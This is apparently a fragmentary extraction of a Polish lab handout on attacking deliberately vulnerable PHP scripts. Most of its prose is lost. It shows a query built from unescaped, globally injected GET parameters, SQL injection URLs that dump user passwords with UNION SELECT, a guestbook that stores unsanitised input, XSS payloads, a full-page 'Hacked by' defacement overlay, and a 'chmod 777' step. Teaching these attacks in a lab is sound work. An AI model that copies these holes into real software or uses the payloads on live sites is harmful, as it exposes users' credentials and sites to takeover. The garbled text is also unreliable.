
 

 

 

 

 skrypt3.php

<?php 

$hostname = 'localhost'; 
$user = 'root'; 
$password = '';  
$database = 'testowa'; 
 
$handle = mysqli_connect($hostname, $user, $password, $database) or die("Brak 
połączenia"); 
 
if (is_array($_GET)) { 
    foreach ($_GET as $pos => $val) { 
        $$pos = stripslashes(str_replace('\0', urldecode('%00'), $val)); 
    } 
} 
 
// Zapytanie wykorzystujące operator LIKE i LIMIT 
$query = "SELECT login FROM users WHERE login LIKE '$login%' LIMIT 2"; 
 
echo "Zapytanie SQL: <b>" . $query . "</b><br>"; 
 
$result = mysqli_query($handle, $query); 
 
while ($txt = mysqli_fetch_array($result)) { 
    echo '<br>Znaleziony wynik: ' . $txt['login']; 
} 
mysqli_close($handle); 

?> 



   
 

 

LIKE

%

LIMIT 2

 K

UNION SELECT

 http://localhost/ataki/skrypt3.php?login=K' and 1=2 union 
select pass from users --%20

CONCAT()

CHAR()

 http://localhost/ataki/skrypt3.php?login=m' and 1=2 union select 
concat(login,char(45),pass) from users --%20
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skrypt1.php

UNION SELECT

 skrypt1.php

 http://localhost/ataki/skrypt1.php?pass=' union select pass from users 
where login='Wojtek' --%20

mysqli_real_escape_string()

 admin Katarzyna

 



   
 

skrypt4.php

ksiega.txt

 

sudo chmod 777 . 

 skrypt4.php

<?php 

echo ' 
<form action="" method="post"> 
<table border="2"> 
<tr><td>NICK:</td><td><input type="text" name="tytul" size="40" /></td></tr> 
<tr><td>Wpis:</td><td> 
<textarea name="wpis" cols="60" rows="10" wrap="virtual"></textarea> 
</td></tr> 
</table> 
<input type="submit" value="Wpisz sie!" /> 
</form> 
'; 
 
$tytul = $_POST['tytul']; 
$wpis  = $_POST['wpis']; 
 
if ($tytul && $wpis) 
{ 
    $ksiega[0] = "<h3>".$tytul."</h3><p>".$wpis."</p><hr>"; 
 
    if (file_exists("ksiega.txt")) 
    { 
        $i = 1; 
        $plik = fopen("ksiega.txt", "r+"); 
        flock($plik, 2); 
 
        while (!(feof($plik))) 
            $ksiega[$i++] = fgets($plik, 2048); 
 
        $ilosc = $i; 
        fseek($plik, 0); 
 
        for ($i = 0; $i < $ilosc; $i++) 
            fputs($plik, "$ksiega[$i]"); 
 
        flock($plik, 3); 
        fclose($plik); 
    } 
    else 
    { 
        $plik = fopen("ksiega.txt", "w+"); 
        flock($plik, 2); 
        fputs($plik, "$ksiega[0]"); 
        flock($plik, 3); 
        fclose($plik); 
    } 



   
 

} 
 
echo '<h2>Księga gości</h2><hr />'; 
 
if (file_exists("ksiega.txt")) 
{ 
    $plik = fopen("ksiega.txt", "r"); 
 
    while (!(feof($plik))) 
        echo (fgets($plik, 2048)); 
} 

?> 

 

 

<u><b>Atak XSS</b></u> 



   
 

 

<script>alert('Atak XSS');</script> 

strip_tags()

<p> 

Event Handlers <p>

onmouseover

 <p onmouseover="alert('Atak XSS')">NAJEDŹ TUTAJ</p>

 

<div>



   
 

 

<div style="text-align:center; color:#FF0000; background:#000000; 
position:absolute; top:0; left:0; right:0; bottom:0; padding:0; margin:0; 
height:100000px; z-index:101; padding-top:50px; font-size:50px; font-
family:Verdana;"> 

    Hacked by Anonim 

</div> 


